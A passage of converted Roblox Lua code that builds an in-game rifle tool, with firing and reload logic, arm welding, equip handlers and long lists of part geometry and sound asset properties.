- wait()
- canFire = false
- wait(firerate)
- canFire = true
- end
- elseif fireMode == "Semi" then
- local weld55 = char.Torso:FindFirstChild("Weld1")
- local weld33 = char.Torso:FindFirstChild("Weld2")
- barrel.Light.Angle = math.random(90, 180)
- mag = mag - 1
- gun.Fire(mouse.hit.p)
- handle.Fire:Play()
- weld55.C1 = CFrame.new(-0.249, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90))
- weld33.C1 = CFrame.new(-0.7, 0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-5), 0)
- script.Parent.A3.Mesh.Offset = Vector3.new(-0.6, 0, 0)
- script.Parent.A4.Mesh.Offset = Vector3.new(-0.6, 0, 0)
- wait()
- weld55.C1 = CFrame.new(-0.249, 1.10, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90))
- weld33.C1 = CFrame.new(-0.7, 0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-5), 0)
- script.Parent.A3.Mesh.Offset = Vector3.new(-0.5, 0, 0)
- script.Parent.A4.Mesh.Offset = Vector3.new(-0.5, 0, 0)
- wait()
- weld55.C1 = CFrame.new(-0.249, 1.15, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90))
- weld33.C1 = CFrame.new(-0.7, 0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-5), 0)
- script.Parent.A3.Mesh.Offset = Vector3.new(-0.4, 0, 0)
- script.Parent.A4.Mesh.Offset = Vector3.new(-0.4, 0, 0)
- wait()
- weld55.C1 = CFrame.new(-0.249, 1.25, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90))
- weld33.C1 = CFrame.new(-0.7, 0.3, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-5), 0)
- script.Parent.A3.Mesh.Offset = Vector3.new(-0.3, 0, 0)
- script.Parent.A4.Mesh.Offset = Vector3.new(-0.3, 0, 0)
- wait()
- canFire = false
- weld55.C1 = CFrame.new(-0.249, 1.35, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90))
- weld33.C1 = CFrame.new(-0.7, 0.4, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-5), 0)
- canFire = false
- script.Parent.A3.Mesh.Offset = Vector3.new(0,0,0)
- script.Parent.A4.Mesh.Offset = Vector3.new(0,0,0)
- wait()
- canFire = false
- wait(firerate)
- canFire = true
- end
- if mag <= 0 then
- canFire = false
- gun.Reload(mouse)
- canFire = true
- end
- call.UpdateGui()
- barrel.Light.Enabled = false
- barrel.GUI.Enabled = false
- end
- end
- function bindings.MouseRelease(mouse)
- mouseDown = false
- barrel.Light.Enabled = false
- end
- char.Humanoid.Changed:connect(function(p)
- if p == "Health" and char.Humanoid.Health <= 0 then
- tool:Destroy()
- end
- end)
- -----------------------------------------------------------
- tool.Equipped:connect(function(mouse)
- wait()
- welding.SetArms(true)
- equipped = true
- local newGui = GunGUI:Clone()
- newGui.Parent = playergui
- call.UpdateGui()
- mouse.Icon = cursor.Standard
- mouse.Button1Down:connect(function() bindings.MouseClick(mouse) end)
- mouse.Button1Up:connect(function() bindings.MouseRelease(mouse) end)
- mouse.KeyDown:connect(function(key) bindings.KeyPressed(key, mouse) end)
- mouse.Move:connect(function()
- mouse.Icon = cursor.Standard
- if equipped and playergui:FindFirstChild("GunGUI") then
- playergui:FindFirstChild("GunGUI").Hit.Position = UDim2.new(0, mouse.X-22.5, 0, mouse.Y-22.5)
- end
- end)
- end)
- tool.Unequipped:connect(function(mouse)
- if playergui:FindFirstChild("GunGUI") then
- playergui:FindFirstChild("GunGUI"):Destroy()
- end
- welding.SetArms(false)
- equipped = false
- mouseDown = false
- crouch = false
- welding.Crouch(false)
- if playergui:FindFirstChild("GunGUI") then
- playergui:FindFirstChild("GunGUI"):Destroy()
- end
- reloading = false
- barrel.Light.Enabled = false
- if tool:FindFirstChild("FakeLeftArm") then
- tool.FakeLeftArm:Destroy()
- elseif tool:FindFirstChild("FakeRightArm") then
- tool.FakeRightArm:Destroy()
- end
- if playergui:FindFirstChild("GunGUI") then
- playergui:FindFirstChild("GunGUI"):Destroy()
- end
- end)
- end))
- LocalScript120.Name = "Weld"
- LocalScript120.Parent = Tool106
- table.insert(cors,sandbox(LocalScript120,function()
- local create = assert(LoadLibrary("RbxUtility")).Create
- function weldObject(x, y)
- local cf = CFrame.new(x.Position)
- local c0 = x.CFrame:toObjectSpace(cf)
- local c1 = y.CFrame:toObjectSpace(cf)
- create("Weld"){
- Part0 = x,
- Part1 = y,
- C0 = c0,
- C1 = c1,
- Parent = x,
- }
- end
- function combineParts(object)
- if script.Parent:FindFirstChild("Handle") then
- if object:IsA("BasePart") then
- weldObject(script.Parent.Handle, object)
- object.Anchored = false
- else
- table.foreach(object:GetChildren(), function(i, c)
- combineParts(c)
- end)
- end
- else
- print("Handle is nil!")
- end
- end
- combineParts(script.Parent)
- script.Parent.Equipped:connect(function() combineParts(script.Parent) end)
- script.Parent.Unequipped:connect(function() combineParts(script.Parent) end)
- end))
- Script121.Name = "UnionWeld"
- Script121.Parent = Tool106
- table.insert(cors,sandbox(Script121,function()
- --[[ If you want to make this script work for parts like "Wedges" or "Spawns"
- just find the ((parts[i].className == "Part")) piece, and rename the "Part"
- to whatever, or which ever part you want.
- --]]
- local prev
- local parts = script.Parent:GetChildren()
- for i = 1,#parts do
- if ((parts[i].className == "UnionOperation") or (parts[i].className == "Handle") or (parts[i].className == "TrussPart") or (parts[i].className == "VehicleSeat") or (parts[i].className == "SkateboardPlatform")) then
- if (prev ~= nil) then
- local weld = Instance.new("Weld")
- weld.Part0 = prev
- weld.Part1 = parts[i]
- weld.C0 = prev.CFrame:inverse()
- weld.C1 = parts[i].CFrame:inverse()
- weld.Parent = prev
- parts[i].Anchored = false
- end
- prev = parts[i]
- end
- end
- wait(3)
- --Tylerprime
- end))
- Part122.Name = "Handle"
- Part122.Parent = Tool106
- Part122.CFrame = CFrame.new(137.987396, 5.34184408, -132.717041, -0.897089303, -0.438248605, -0.0562928021, -0.438981146, 0.898495972, 0.000722953177, 0.0502620153, 0.0253600311, -0.998414099)
- Part122.Orientation = Vector3.new(-0.0399999991, -176.770004, -26.0400009)
- Part122.Position = Vector3.new(137.987396, 5.34184408, -132.717041)
- Part122.Rotation = Vector3.new(-179.960007, -3.23000002, 153.960007)
- Part122.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part122.Transparency = 1
- Part122.Size = Vector3.new(0.39999938, 1.20000017, 0.400000036)
- Part122.Anchored = true
- Part122.BrickColor = BrickColor.new("Dark stone grey")
- Part122.CanCollide = false
- Part122.brickColor = BrickColor.new("Dark stone grey")
- Part122.FormFactor = Enum.FormFactor.Custom
- Part122.formFactor = Enum.FormFactor.Custom
- BlockMesh123.Parent = Part122
- BlockMesh123.Scale = Vector3.new(1, 1, 0.699999988)
- Sound124.Name = "Click"
- Sound124.Parent = Part122
- Sound124.EmitterSize = 0
- Sound124.MinDistance = 0
- Sound124.Pitch = 0.60000002384186
- Sound124.PlayOnRemove = true
- Sound124.PlaybackSpeed = 0.60000002384186
- Sound124.SoundId = "rbxasset://sounds//switch.wav"
- Sound124.Volume = 1
- Sound125.Name = "Reload"
- Sound125.Parent = Part122
- Sound125.EmitterSize = 0
- Sound125.MinDistance = 0
- Sound125.Pitch = 1.2999999523163
- Sound125.PlaybackSpeed = 1.2999999523163
- Sound125.SoundId = "http://www.roblox.com/asset/?id=132456124"
- Sound125.Volume = 1
- Sound126.Name = "Fire"
- Sound126.Parent = Part122
- Sound126.EmitterSize = 0
- Sound126.MinDistance = 0
- Sound126.SoundId = "http://roblox.com/asset/?id=224837148"
- Sound126.Volume = 1
- Part127.Name = "Mag"
- Part127.Parent = Tool106
- Part127.CFrame = CFrame.new(137.014221, 5.99933195, -132.716949, 0.0353219844, 0.996527553, 0.0754003078, 0.000782999734, -0.0754749626, 0.997147381, 0.999375582, -0.0351621881, -0.00344620645)
- Part127.Orientation = Vector3.new(-85.6699982, 92.6200027, 179.410004)
- Part127.Position = Vector3.new(137.014221, 5.99933195, -132.716949)
- Part127.Rotation = Vector3.new(-90.1999969, 4.32000017, -87.9700012)
- Part127.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part127.Size = Vector3.new(0.200000003, 0.200000003, 0.200000763)
- Part127.Anchored = true
- Part127.BottomSurface = Enum.SurfaceType.Smooth
- Part127.BrickColor = BrickColor.new("Black")
- Part127.CanCollide = false
- Part127.Material = Enum.Material.SmoothPlastic
- Part127.TopSurface = Enum.SurfaceType.Smooth
- Part127.brickColor = BrickColor.new("Black")
- Part127.FormFactor = Enum.FormFactor.Custom
- Part127.formFactor = Enum.FormFactor.Custom
- BlockMesh128.Parent = Part127
- BlockMesh128.Scale = Vector3.new(0.119999319, 2.33294368, 0.180000007)
- Part129.Name = "A3"
- Part129.Parent = Tool106
- Part129.CFrame = CFrame.new(137.238815, 5.96161509, -132.732788, -0.996939182, -0.0353777967, -0.0697207451, 0.0697920099, -0.000782013638, -0.997561336, 0.0352369994, -0.999373674, 0.00324870716)
- Part129.Orientation = Vector3.new(86, -87.3300018, 90.6399994)
- Part129.Position = Vector3.new(137.238815, 5.96161509, -132.732788)
- Part129.Rotation = Vector3.new(89.8099976, -4, 177.970001)
- Part129.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part129.Transparency = 100000
- Part129.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part129.Anchored = true
- Part129.BottomSurface = Enum.SurfaceType.Smooth
- Part129.BrickColor = BrickColor.new("Black")
- Part129.CanCollide = false
- Part129.Material = Enum.Material.SmoothPlastic
- Part129.TopSurface = Enum.SurfaceType.Smooth
- Part129.brickColor = BrickColor.new("Black")
- Part129.FormFactor = Enum.FormFactor.Custom
- Part129.formFactor = Enum.FormFactor.Custom
- CylinderMesh130.Parent = Part129
- CylinderMesh130.Scale = Vector3.new(0.47999981, 0.360000312, 0.240001813)
- Part131.Name = "A4"
- Part131.Parent = Tool106
- Part131.CFrame = CFrame.new(137.241119, 5.96166706, -132.672791, -0.996939182, -0.0353777967, -0.0697207451, 0.0697920099, -0.000782013638, -0.997561336, 0.0352369994, -0.999373674, 0.00324870716)
- Part131.Orientation = Vector3.new(86, -87.3300018, 90.6399994)
- Part131.Position = Vector3.new(137.241119, 5.96166706, -132.672791)
- Part131.Rotation = Vector3.new(89.8099976, -4, 177.970001)
- Part131.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part131.Transparency = 100000
- Part131.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part131.Anchored = true
- Part131.BottomSurface = Enum.SurfaceType.Smooth
- Part131.BrickColor = BrickColor.new("Black")
- Part131.CanCollide = false
- Part131.Material = Enum.Material.SmoothPlastic
- Part131.TopSurface = Enum.SurfaceType.Smooth
- Part131.brickColor = BrickColor.new("Black")
- Part131.FormFactor = Enum.FormFactor.Custom
- Part131.formFactor = Enum.FormFactor.Custom
- CylinderMesh132.Parent = Part131
- CylinderMesh132.Scale = Vector3.new(0.47999981, 0.240000218, 0.300002247)
- UnionOperation133.Name = "Fakebolt"
- UnionOperation133.Parent = Tool106
- UnionOperation133.CFrame = CFrame.new(137.118195, 6.06033993, -132.811401, 0.996937513, 0.0697446987, 0.0353779905, -0.0698160306, 0.997559547, 0.000783437688, -0.035237018, -0.00325098867, 0.999373674)
- UnionOperation133.Orientation = Vector3.new(-0.0399999991, 2.02999997, -4)
- UnionOperation133.Position = Vector3.new(137.118195, 6.06033993, -132.811401)
- UnionOperation133.Rotation = Vector3.new(-0.0399999991, 2.02999997, -4)
- UnionOperation133.Color = Color3.new(0.388235, 0.372549, 0.384314)
- UnionOperation133.Size = Vector3.new(0.353941292, 0.131463766, 0.285175949)
- UnionOperation133.Anchored = true
- UnionOperation133.BrickColor = BrickColor.new("Dark stone grey")
- UnionOperation133.Material = Enum.Material.Metal
- UnionOperation133.brickColor = BrickColor.new("Dark stone grey")
- UnionOperation134.Name = "Fakemag 70 rounds"
- UnionOperation134.Parent = Tool106
- UnionOperation134.CFrame = CFrame.new(136.950882, 5.50645208, -132.71344, -0.0353890099, 0.992915332, -0.11343243, -0.000783000316, -0.113531038, -0.993534207, -0.999373317, -0.0350713693, 0.00479520299)
- UnionOperation134.Orientation = Vector3.new(83.4800034, -87.5800018, -179.600006)
- UnionOperation134.Position = Vector3.new(136.950882, 5.50645208, -132.71344)
- UnionOperation134.Rotation = Vector3.new(89.7200012, -6.51000023, -92.0400009)
- UnionOperation134.Color = Color3.new(0.356863, 0.364706, 0.411765)
- UnionOperation134.Size = Vector3.new(0.779629648, 0.333717197, 0.876490235)
- UnionOperation134.Anchored = true
- UnionOperation134.BrickColor = BrickColor.new("Smoky grey")
- UnionOperation134.Material = Enum.Material.Metal
- UnionOperation134.Reflectance = 0.10000000149012
- UnionOperation134.brickColor = BrickColor.new("Smoky grey")
- UnionOperation135.Name = "Sights"
- UnionOperation135.Parent = Tool106
- UnionOperation135.CFrame = CFrame.new(135.487228, 6.30922604, -132.659851, -0.0353890099, 0.9969365, -0.0697516054, -0.000783000316, -0.0698229671, -0.99755913, -0.999373317, -0.0352480076, 0.00325156702)
- UnionOperation135.Orientation = Vector3.new(86, -87.3300018, -179.360001)
- UnionOperation135.Position = Vector3.new(135.487228, 6.30922604, -132.659851)
- UnionOperation135.Rotation = Vector3.new(89.8099976, -4, -92.0299988)
- UnionOperation135.Color = Color3.new(0.388235, 0.372549, 0.384314)
- UnionOperation135.Size = Vector3.new(0.126407638, 0.0707883462, 0.126407683)
- UnionOperation135.Anchored = true
- UnionOperation135.BrickColor = BrickColor.new("Dark stone grey")
- UnionOperation135.Material = Enum.Material.Metal
- UnionOperation135.Reflectance = 0.10000000149012
- UnionOperation135.brickColor = BrickColor.new("Dark stone grey")
- UnionOperation136.Name = "Sights"
- UnionOperation136.Parent = Tool106
- UnionOperation136.CFrame = CFrame.new(137.658234, 6.1293149, -132.738342, -0.0353890099, 0.0697510242, 0.99693656, -0.000783000316, 0.99755913, -0.0698223934, -0.999373317, -0.0032515463, -0.0352480151)
- UnionOperation136.Orientation = Vector3.new(4, 92.0199966, -0.0399999991)
- UnionOperation136.Position = Vector3.new(137.658234, 6.1293149, -132.738342)
- UnionOperation136.Rotation = Vector3.new(116.790001, 85.5100021, -116.900002)
- UnionOperation136.Color = Color3.new(0.388235, 0.372549, 0.384314)
- UnionOperation136.Size = Vector3.new(0.101126127, 0.0809009522, 0.22247763)
- UnionOperation136.Anchored = true
- UnionOperation136.BrickColor = BrickColor.new("Dark stone grey")
- UnionOperation136.Material = Enum.Material.Metal
- UnionOperation136.brickColor = BrickColor.new("Dark stone grey")
- UnionOperation137.Name = "Sights"
- UnionOperation137.Parent = Tool106
- UnionOperation137.CFrame = CFrame.new(135.486343, 6.29661179, -132.661163, -0.996937513, 0.0697446987, -0.0353779905, 0.0698160306, 0.997559547, -0.000783437688, 0.035237018, -0.00325098867, -0.999373674)
- UnionOperation137.Orientation = Vector3.new(0.0399999991, -177.970001, 4)
- UnionOperation137.Position = Vector3.new(135.486343, 6.29661179, -132.661163)
- UnionOperation137.Rotation = Vector3.new(179.960007, -2.02999997, -176)
- UnionOperation137.Color = Color3.new(0.388235, 0.372549, 0.384314)
- UnionOperation137.Size = Vector3.new(0.0505630523, 0.0606754273, 0.0809009075)
- UnionOperation137.Anchored = true
- UnionOperation137.BrickColor = BrickColor.new("Dark stone grey")
- UnionOperation137.Material = Enum.Material.Metal
- UnionOperation137.brickColor = BrickColor.new("Dark stone grey")
- UnionOperation138.Name = "Sights"
- UnionOperation138.Parent = Tool106
- UnionOperation138.CFrame = CFrame.new(135.493362, 6.25552177, -132.661316, 0.0353890099, 0.0697510242, -0.99693656, 0.000783000316, 0.99755913, 0.0698223934, 0.999373317, -0.0032515463, 0.0352480151)
- UnionOperation138.Orientation = Vector3.new(-4, -87.9800034, 0.0399999991)
- UnionOperation138.Position = Vector3.new(135.493362, 6.25552177, -132.661316)
- UnionOperation138.Rotation = Vector3.new(-63.2099991, -85.5100021, -63.0999985)
- UnionOperation138.Color = Color3.new(0.388235, 0.372549, 0.384314)
- UnionOperation138.Size = Vector3.new(0.101126336, 0.0202259589, 0.232589871)
- UnionOperation138.Anchored = true
- UnionOperation138.BrickColor = BrickColor.new("Dark stone grey")
- UnionOperation138.Material = Enum.Material.Metal
- UnionOperation138.brickColor = BrickColor.new("Dark stone grey")
- UnionOperation139.Name = "Stock"
- UnionOperation139.Parent = Tool106
- UnionOperation139.CFrame = CFrame.new(138.790009, 5.50768614, -132.7771, -0.0353960022, 0.9969365, -0.0697477683, -0.000780000119, -0.0698190331, -0.997559369, -0.999373078, -0.0352552049, 0.00324892486)
- UnionOperation139.Orientation = Vector3.new(86, -87.3300018, -179.360001)
- UnionOperation139.Position = Vector3.new(138.790009, 5.50768614, -132.7771)
- UnionOperation139.Rotation = Vector3.new(89.8099976, -4, -92.0299988)
- UnionOperation139.Color = Color3.new(0.584314, 0.47451, 0.466667)
- UnionOperation139.Size = Vector3.new(0.182028353, 1.01126659, 0.586535215)
- UnionOperation139.Anchored = true
- UnionOperation139.BrickColor = BrickColor.new("Sand red")
- UnionOperation139.Material = Enum.Material.Wood
- UnionOperation139.brickColor = BrickColor.new("Sand red")
- UnionOperation140.Name = "Stock"
- UnionOperation140.Parent = Tool106
- UnionOperation140.CFrame = CFrame.new(139.305573, 5.42092705, -132.795197, -0.0353890099, -0.996936738, 0.0697486326, -0.000783000316, 0.0698199868, 0.997559369, -0.999373317, 0.0352480225, -0.00325146201)
- UnionOperation140.Orientation = Vector3.new(-86, 92.6699982, -0.639999986)
- UnionOperation140.Position = Vector3.new(139.305573, 5.42092705, -132.795197)
- UnionOperation140.Rotation = Vector3.new(-90.1900024, 4, 92.0299988)
- UnionOperation140.Color = Color3.new(0.388235, 0.372549, 0.384314)
- UnionOperation140.Size = Vector3.new(0.182027459, 0.0303380508, 0.48540616)
- UnionOperation140.Anchored = true
- UnionOperation140.BrickColor = BrickColor.new("Dark stone grey")
- UnionOperation140.Material = Enum.Material.Metal
- UnionOperation140.Reflectance = 0.10000000149012
- UnionOperation140.brickColor = BrickColor.new("Dark stone grey")
- UnionOperation141.Name = "Trigger"
- UnionOperation141.Parent = Tool106
- UnionOperation141.CFrame = CFrame.new(137.764374, 5.58689404, -132.730682, -0.996937513, 0.0697446987, -0.0353779905, 0.0698160306, 0.997559547, -0.000783437688, 0.035237018, -0.00325098867, -0.999373674)
- UnionOperation141.Orientation = Vector3.new(0.0399999991, -177.970001, 4)
- UnionOperation141.Position = Vector3.new(137.764374, 5.58689404, -132.730682)
- UnionOperation141.Rotation = Vector3.new(179.960007, -2.02999997, -176)
- UnionOperation141.Color = Color3.new(0.388235, 0.372549, 0.384314)
- UnionOperation141.Size = Vector3.new(0.0611715205, 0.126902506, 0.0202253107)
- UnionOperation141.Anchored = true
- UnionOperation141.BrickColor = BrickColor.new("Dark stone grey")
- UnionOperation141.Material = Enum.Material.Metal
- UnionOperation141.brickColor = BrickColor.new("Dark stone grey")
- UnionOperation142.Name = "Trigger"
- UnionOperation142.Parent = Tool106
- UnionOperation142.CFrame = CFrame.new(137.612061, 5.60997677, -132.730164, -0.996937513, 0.0697446987, -0.0353779905, 0.0698160306, 0.997559547, -0.000783437688, 0.035237018, -0.00325098867, -0.999373674)
- UnionOperation142.Orientation = Vector3.new(0.0399999991, -177.970001, 4)
- UnionOperation142.Position = Vector3.new(137.612061, 5.60997677, -132.730164)
- UnionOperation142.Rotation = Vector3.new(179.960007, -2.02999997, -176)
- UnionOperation142.Color = Color3.new(0.388235, 0.372549, 0.384314)
- UnionOperation142.Size = Vector3.new(0.121351309, 0.0818924233, 0.0707882941)
- UnionOperation142.Anchored = true
- UnionOperation142.BrickColor = BrickColor.new("Dark stone grey")
- UnionOperation142.Material = Enum.Material.Metal
- UnionOperation142.brickColor = BrickColor.new("Dark stone grey")
- UnionOperation143.Name = "Trigger guard"
- UnionOperation143.Parent = Tool106
- UnionOperation143.CFrame = CFrame.new(137.69165, 5.594666, -132.733063, 0.996937513, 0.0697446987, 0.0353779905, -0.0698160306, 0.997559547, 0.000783437688, -0.035237018, -0.00325098867, 0.999373674)
- UnionOperation143.Orientation = Vector3.new(-0.0399999991, 2.02999997, -4)
- UnionOperation143.Position = Vector3.new(137.69165, 5.594666, -132.733063)
- UnionOperation143.Rotation = Vector3.new(-0.0399999991, 2.02999997, -4)
- UnionOperation143.Color = Color3.new(0.388235, 0.372549, 0.384314)
- UnionOperation143.Size = Vector3.new(0.404504567, 0.161802158, 0.0707898438)
- UnionOperation143.Anchored = true
- UnionOperation143.BrickColor = BrickColor.new("Dark stone grey")
- UnionOperation143.Material = Enum.Material.Metal
- UnionOperation143.brickColor = BrickColor.new("Dark stone grey")
- UnionOperation144.Parent = Tool106
- UnionOperation144.CFrame = CFrame.new(137.899139, 6.0996809, -132.747498, -0.996937037, 0.0697507039, -0.0353789106, 0.0698219985, 0.997559249, -0.000782159856, 0.0352380015, -0.00324998959, -0.999373615)
- UnionOperation144.Orientation = Vector3.new(0.0399999991, -177.970001, 4)
- UnionOperation144.Position = Vector3.new(137.899139, 6.0996809, -132.747498)
- UnionOperation144.Rotation = Vector3.new(179.960007, -2.02999997, -176)
- UnionOperation144.Color = Color3.new(0.388235, 0.372549, 0.384314)
- UnionOperation144.Size = Vector3.new(0.182026923, 0.0455070846, 0.04626517)
- UnionOperation144.Anchored = true
- UnionOperation144.BrickColor = BrickColor.new("Dark stone grey")
- UnionOperation144.Material = Enum.Material.Metal
- UnionOperation144.brickColor = BrickColor.new("Dark stone grey")
- UnionOperation145.Parent = Tool106
- UnionOperation145.CFrame = CFrame.new(138.045074, 6.01449203, -132.751465, 0.0353890099, 0.0697530136, -0.996936381, 0.000783000316, 0.997559011, 0.0698243678, 0.999373317, -0.00325161638, 0.0352480002)
- UnionOperation145.Orientation = Vector3.new(-4, -87.9800034, 0.0399999991)
- UnionOperation145.Position = Vector3.new(138.045074, 6.01449203, -132.751465)
- UnionOperation145.Rotation = Vector3.new(-63.2099991, -85.5100021, -63.0999985)
- UnionOperation145.Color = Color3.new(0.388235, 0.372549, 0.384314)
- UnionOperation145.Size = Vector3.new(0.160780504, 0.154788807, 0.06019805)
- UnionOperation145.Anchored = true
- UnionOperation145.BrickColor = BrickColor.new("Dark stone grey")
- UnionOperation145.Material = Enum.Material.Metal
- UnionOperation145.brickColor = BrickColor.new("Dark stone grey")
- UnionOperation146.Parent = Tool106
- UnionOperation146.CFrame = CFrame.new(138.591278, 5.63642406, -132.719604, -0.984127641, 0.1738974, -0.0353889018, 0.17403394, 0.984739423, -0.000792725419, 0.0347109847, -0.00693901349, -0.999373317)
- UnionOperation146.Orientation = Vector3.new(0.0500000007, -177.970001, 10.0200005)
- UnionOperation146.Position = Vector3.new(138.591278, 5.63642406, -132.719604)
- UnionOperation146.Rotation = Vector3.new(179.949997, -2.02999997, -169.979996)
- UnionOperation146.Color = Color3.new(0.388235, 0.372549, 0.384314)
- UnionOperation146.Size = Vector3.new(0.202252239, 0.131464124, 0.101126179)
- UnionOperation146.Anchored = true
- UnionOperation146.BrickColor = BrickColor.new("Dark stone grey")
- UnionOperation146.Material = Enum.Material.Metal
- UnionOperation146.brickColor = BrickColor.new("Dark stone grey")
- UnionOperation147.Parent = Tool106
- UnionOperation147.CFrame = CFrame.new(138.109909, 5.70736504, -132.75293, -0.0353890099, 0.996936738, -0.0697486326, -0.000783000316, -0.0698199868, -0.997559369, -0.999373317, -0.0352480225, 0.00325146201)
- UnionOperation147.Orientation = Vector3.new(86, -87.3300018, -179.360001)
- UnionOperation147.Position = Vector3.new(138.109909, 5.70736504, -132.75293)
- UnionOperation147.Rotation = Vector3.new(89.8099976, -4, -92.0299988)
- UnionOperation147.Color = Color3.new(0.584314, 0.47451, 0.466667)
- UnionOperation147.Size = Vector3.new(0.182027936, 0.374168336, 0.546084821)
- UnionOperation147.Anchored = true
- UnionOperation147.BrickColor = BrickColor.new("Sand red")
- UnionOperation147.Material = Enum.Material.Wood
- UnionOperation147.brickColor = BrickColor.new("Sand red")
- UnionOperation148.Parent = Tool106
- UnionOperation148.CFrame = CFrame.new(137.660995, 5.62903976, -132.731934, -0.941897452, 0.334031433, -0.0353881344, 0.334267139, 0.94247812, -0.00079193752, 0.0330880135, -0.0125750154, -0.999373317)
- UnionOperation148.Orientation = Vector3.new(0.0500000007, -177.970001, 19.5300007)
- UnionOperation148.Position = Vector3.new(137.660995, 5.62903976, -132.731934)
- UnionOperation148.Rotation = Vector3.new(179.949997, -2.02999997, -160.470001)
- UnionOperation148.Color = Color3.new(0.388235, 0.372549, 0.384314)
- UnionOperation148.Size = Vector3.new(1.00345552, 0.219236284, 0.0707957223)
- UnionOperation148.Anchored = true
- UnionOperation148.BrickColor = BrickColor.new("Dark stone grey")
- UnionOperation148.Material = Enum.Material.Metal
- UnionOperation148.brickColor = BrickColor.new("Dark stone grey")
- UnionOperation149.Parent = Tool106
- UnionOperation149.CFrame = CFrame.new(136.736694, 5.9201479, -132.705139, 0.0353890099, -0.0697530136, 0.996936381, 0.000783000316, -0.997559011, -0.0698243678, 0.999373317, 0.00325161638, -0.0352480002)
- UnionOperation149.Orientation = Vector3.new(4, 92.0199966, 179.960007)
- UnionOperation149.Position = Vector3.new(136.736694, 5.9201479, -132.705139)
- UnionOperation149.Rotation = Vector3.new(116.790001, 85.5100021, 63.0999985)
- UnionOperation149.Color = Color3.new(0.388235, 0.372549, 0.384314)
- UnionOperation149.Size = Vector3.new(0.161803722, 0.131464794, 0.374168336)
- UnionOperation149.Anchored = true
- UnionOperation149.BrickColor = BrickColor.new("Dark stone grey")
- UnionOperation149.Material = Enum.Material.Metal
- UnionOperation149.brickColor = BrickColor.new("Dark stone grey")
- UnionOperation150.Parent = Tool106
- UnionOperation150.CFrame = CFrame.new(137.035706, 5.81788301, -132.801147, -0.996937513, 0.0697446987, -0.0353779905, 0.0698160306, 0.997559547, -0.000783437688, 0.035237018, -0.00325098867, -0.999373674)
- UnionOperation150.Orientation = Vector3.new(0.0399999991, -177.970001, 4)
- UnionOperation150.Position = Vector3.new(137.035706, 5.81788301, -132.801147)
- UnionOperation150.Rotation = Vector3.new(179.960007, -2.02999997, -176)
- UnionOperation150.Color = Color3.new(0.356863, 0.364706, 0.411765)
- UnionOperation150.Size = Vector3.new(0.444954962, 0.232590362, 0.0101128835)
- UnionOperation150.Anchored = true
- UnionOperation150.BrickColor = BrickColor.new("Smoky grey")
- UnionOperation150.Material = Enum.Material.Metal
- UnionOperation150.brickColor = BrickColor.new("Smoky grey")
- UnionOperation151.Parent = Tool106
- UnionOperation151.CFrame = CFrame.new(137.041595, 5.81791306, -132.629395, -0.996937513, 0.0697446987, -0.0353779905, 0.0698160306, 0.997559547, -0.000783437688, 0.035237018, -0.00325098867, -0.999373674)
- UnionOperation151.Orientation = Vector3.new(0.0399999991, -177.970001, 4)
- UnionOperation151.Position = Vector3.new(137.041595, 5.81791306, -132.629395)
- UnionOperation151.Rotation = Vector3.new(179.960007, -2.02999997, -176)
- UnionOperation151.Color = Color3.new(0.356863, 0.364706, 0.411765)
- UnionOperation151.Size = Vector3.new(0.444954962, 0.232590362, 0.0101128835)
- UnionOperation151.Anchored = true
- UnionOperation151.BrickColor = BrickColor.new("Smoky grey")
- UnionOperation151.Material = Enum.Material.Metal
- UnionOperation151.brickColor = BrickColor.new("Smoky grey")
- UnionOperation152.Parent = Tool106
- UnionOperation152.CFrame = CFrame.new(137.910645, 6.02801704, -132.746368, 0.996937513, 0.0353779607, -0.0697447136, -0.0698160306, 0.000783002179, -0.997559547, -0.035237018, 0.999373674, 0.00325055257)
- UnionOperation152.Orientation = Vector3.new(86, -87.3300018, -89.3600006)
- UnionOperation152.Position = Vector3.new(137.910645, 6.02801704, -132.746368)
- UnionOperation152.Rotation = Vector3.new(89.8099976, -4, -2.02999997)
- UnionOperation152.Color = Color3.new(0.356863, 0.364706, 0.411765)
- UnionOperation152.Size = Vector3.new(0.0455068797, 0.182027206, 0.0455070511)
- UnionOperation152.Anchored = true
- UnionOperation152.BrickColor = BrickColor.new("Smoky grey")
- UnionOperation152.Material = Enum.Material.Metal
- UnionOperation152.Reflectance = 0.10000000149012
- UnionOperation152.brickColor = BrickColor.new("Smoky grey")
- UnionOperation153.Parent = Tool106
- UnionOperation153.CFrame = CFrame.new(137.607697, 5.83888578, -132.735413, -0.996937513, 0.0697446987, -0.0353779905, 0.0698160306, 0.997559547, -0.000783437688, 0.035237018, -0.00325098867, -0.999373674)
- UnionOperation153.Orientation = Vector3.new(0.0399999991, -177.970001, 4)
- UnionOperation153.Position = Vector3.new(137.607697, 5.83888578, -132.735413)
- UnionOperation153.Rotation = Vector3.new(179.960007, -2.02999997, -176)
- UnionOperation153.Color = Color3.new(0.584314, 0.47451, 0.466667)
- UnionOperation153.Size = Vector3.new(0.9910357, 0.353941113, 0.182028368)
- UnionOperation153.Anchored = true
- UnionOperation153.BrickColor = BrickColor.new("Sand red")
- UnionOperation153.Material = Enum.Material.Wood
- UnionOperation153.brickColor = BrickColor.new("Sand red")
- UnionOperation154.Parent = Tool106
- UnionOperation154.CFrame = CFrame.new(138.13414, 5.90847492, -132.75415, -0.0353890099, 0.996936738, -0.0697486326, -0.000783000316, -0.0698199868, -0.997559369, -0.999373317, -0.0352480225, 0.00325146201)
- UnionOperation154.Orientation = Vector3.new(86, -87.3300018, -179.360001)
